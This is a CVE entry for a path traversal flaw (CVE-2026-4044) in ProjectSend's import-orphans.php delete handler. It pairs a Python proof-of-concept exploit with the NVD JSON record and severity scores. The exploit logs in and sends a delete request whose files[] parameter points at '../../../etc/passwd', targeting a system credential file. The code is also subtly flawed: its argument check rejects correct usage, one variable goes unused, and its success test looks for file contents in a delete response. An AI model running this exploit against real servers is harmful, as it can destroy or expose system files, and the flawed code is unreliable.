CVE-2026-4044

import requests import sys # CVE-2026-4044 PoC - ProjectSend Path Traversal in Delete Handler # Target: ProjectSend <= r1945 # Component: /import-orphans.php, Delete Handler # Vulnerability: Path traversal via files[] parameter def exploit_path_traversal(target_url, username, password): """ Exploit for CVE-2026-4044 - Path Traversal in ProjectSend Args: target_url: Base URL of vulnerable ProjectSend instance username: Valid high-privilege username password: Password for the account """ session = requests.Session() # Step 1: Login to get authenticated session login_url = f"{target_url}/login.php" login_data = { 'username': username, 'password': password } try: login_response = session.post(login_url, data=login_data, timeout=10) if 'logout' not in login_response.text.lower(): print("[-] Login failed - check credentials") return False print("[+] Login successful") # Step 2: Send malicious request with path traversal payload exploit_url = f"{target_url}/import-orphans.php" # Path traversal payload - attempts to access parent directories # This example attempts to reference ../../../etc/passwd files_data = [ ('files[]', ('../../../etc/passwd', '', 'text/plain')) ] exploit_data = { 'action': 'delete', 'files[]': '../../../etc/passwd' } exploit_response = session.post( exploit_url, data=exploit_data, timeout=10 ) print(f"[*] Exploit request sent to {exploit_url}") print(f"[*] Response status: {exploit_response.status_code}") # Step 3: Analyze response for successful exploitation if exploit_response.status_code == 200: if 'passwd' in exploit_response.text or 'root:' in exploit_response.text: print("[!] VULNERABLE - Path traversal confirmed") return True else: print("[-] Path traversal not confirmed in response") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://target.com admin password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_path_traversal(target, user, pwd)

{"cve": {"id": "CVE-2026-4044", "sourceIdentifier": "[email protected]", "published": "2026-03-12T16:16:11.863", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in projectsend up to r1945. This affects the function realpath of the file /import-orphans.php of the component Delete Handler. Performing a manipulation of the argument files[] results in path traversal. Remote exploitation of the attack is possible. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Una vulnerabilidad fue detectada en projectsend hasta r1945. Esto afecta a la función realpath del archivo /import-orphans.PHP del componente Gestor de Eliminación. Realizar una manipulación del argumento files[] resulta en salto de ruta. Es posible la explotación remota del ataque. El exploit es ahora público y puede ser utilizado. El proveedor fue contactado tempranamente sobre esta divulgación, pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:L", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 2.5}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:N/I:P/A:P", "baseScore": 4.7, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.4, "impactScore": 4.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://drive.google.com/file/d/1BOWm9FvhmM90oP91rOWpI4GoWdbI06wg/view?usp=sharing", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.350656", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.350656", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.769528", "source": "[email protected]"}]}}